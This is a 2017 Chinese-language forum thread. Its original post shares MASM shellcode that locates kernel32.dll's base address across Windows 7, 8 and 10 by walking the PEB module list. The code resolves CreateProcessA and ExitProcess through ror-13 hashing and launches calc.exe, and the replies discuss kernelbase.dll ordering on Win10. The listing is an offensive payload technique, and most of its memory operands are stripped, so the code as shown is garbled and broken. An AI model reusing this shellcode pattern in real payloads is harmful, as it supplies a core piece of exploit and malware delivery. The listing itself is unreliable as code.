chaosregion 发表于 2017-7-29 13:52

win7/8/10通用获取kernel32基地址的shellcode代码

本帖最后由 chaosregion 于 2017-7-29 17:47 编辑

很早以前写的,现在又需要重温,呵呵。
太着急,没有写亮点。有新手没有看清楚。
我们写shellcode时,总是需要找到kernel32的首地址,然后再找到自己需要函数地址,但是kernel32的首地址在不同的Windows版本用一个shellcode可不是那么容易找到的。
win8的某些版本,kernel32的字符串为Kernel32.dll,第一个字母是大写。
另外需要通过进程的dll加载链找到kernel32的地址,就需要进行循环查找,一般是第二个dll,第一个是ntdll.dll。
但是有没有不是kernel32.dll的呢,有没有可能是kernelbase.dll呢,你告诉我吧。为什么进程加载的第二个dll必须是kernel32.dll。




.386
.modelflat,stdcall
option casemap:none
include windows.inc

.code
start:

      assume   fs:nothing
      push ebp
      xor ecx,ecx
      mov edx,dword ptr fs:
      mov eax,dword ptr
      mov esi,dword ptr
next_module:
      mov ebp,dword ptr
      mov edi,dword ptr
      mov esi,dword ptr
      
      xor eax,eax
add_kerstr:      
      add ax,word ptr   ; 累加模块名字符串
      cmp word ptr,0
      je judge
      inc edi
      inc edi
      jmp add_kerstr
judge:      
      cmp ax,330h   ; up 大写kernel32.dll
      je got_it
      cmp ax,450h   ; low 小写kernel32.dll
      jne next_module
      
got_it:      
      mov edi,ebp   ;取得kernel32.dll基地址


      push ebp
      mov ebp,esp
      sub esp,130h
      mov dword ptr,edi
      push 16B3FE72h ;CreateProcessA
      push dword ptr
      call GetApiAddress
      mov dword ptr,eax
      push 73E2D87Eh ;ExitProcess
      push dword ptr
      call GetApiAddress
      mov dword ptr,eax
      mov dword ptr,636c6163h
      mov dword ptr,6578652eh
      mov dword ptr,0h
                              
      
      ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
      ; CreateProcess calc.exe
      ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
      lea edi,dword ptr
      push edi
      lea edi,dword ptr
      xor eax,eax
      mov ecx,44h
      push ecx
      rep stos byte ptr es:
      pop ecx
      lea edi,dword ptr
      mov dword ptr,ecx
      push edi
      push 0
      push 0
      push 8000000h
      push 0
      push 0
      push 0
      lea eax,dword ptr
      push eax                                     ; calc.exe
      push 0
      call dword ptr             ;CreateProcess
      push 0
      call dword ptr             ;ExitProcess
      
      
GetApiAddress proc KernelBaseAddress:dword, EncryptNum:dword

LOCAL ReturnValue:dword
pushad
mov edi,KernelBaseAddress
mov eax,dword ptr
mov edx,dword ptr ;IMAGE_EXPORT_DIRECTORY
add edx,edi

mov ecx,dword ptr;名称导出的函数总数
mov ebx,dword ptr;函数名地址表
add ebx,edi
push edx       ;保存edx
NotFound:
jecxz ExitGetApi
dec ecx
mov esi,dword ptr;从最后一个函数名开始查找   Address of names
add esi,edi
xor eax,eax
cdq
LoopChar:
lods byte ptr
test al,al
je CharEnd
ror edx,0dh       ;对字符串进行hash运算
add edx,eax
jmp LoopChar
CharEnd:
cmp edx,EncryptNum
jnz NotFound
pop edx       ; 恢复edx
mov ebx,dword ptr ; 函数序号表Address of name ordinals
add ebx,edi
mov cx,word ptr ; 找到了函数的序号
mov ebx,dword ptr ; 函数地址表
add ebx,edi
add edi,dword ptr ;由序号得出函数的rva
mov ReturnValue,edi
ExitGetApi:
popad
mov eax,ReturnValue
ret
GetApiAddress endp


end start

mayl8822 发表于 2017-7-29 23:55

感谢分享

sudo777 发表于 2017-8-22 18:37

我的就是kernelbase阿,用的shellcode导致exitprocess不能正常运行

chaosregion 发表于 2017-8-25 08:50

sudo777 发表于 2017-8-22 18:37
我的就是kernelbase阿,用的shellcode导致exitprocess不能正常运行

你倒是说清楚啊,什么系统?什么版本?怎样测试的?你这没头没脑我想测试修改都难。

sudo777 发表于 2017-8-27 13:38

chaosregion 发表于 2017-8-25 08:50
你倒是说清楚啊,什么系统?什么版本?怎样测试的?你这没头没脑我想测试修改都难。

阿 我是附议你之前说的为什么第二个节点必须是kernel32.dll,我的系统是win10,用查找第二个节点的方法在win10上找到的dll是kernelBase.dll

chaosregion 发表于 2017-9-10 20:31

呵呵,可能我的表达不清楚,第二个dll当然不一定是kernel32.dll如果是64位系统,第二个加载的dll还会有变化,只是为了让大家思考而已。注意我上面一句话说的,一般是第二个dll,不是的海了去了,呵呵。

无敌小俊俊 发表于 2017-11-12 22:57

{:1_906:}我的天,我看了一个晚上论坛,什么都没看懂

9152pojie 发表于 2017-11-29 16:38

看不懂汇编{:1_907:}有c或者c++的最好啦

yber 发表于 2018-1-12 16:50

支持原创!
页: [1]
查看完整版本: win7/8/10通用获取kernel32基地址的shellcode代码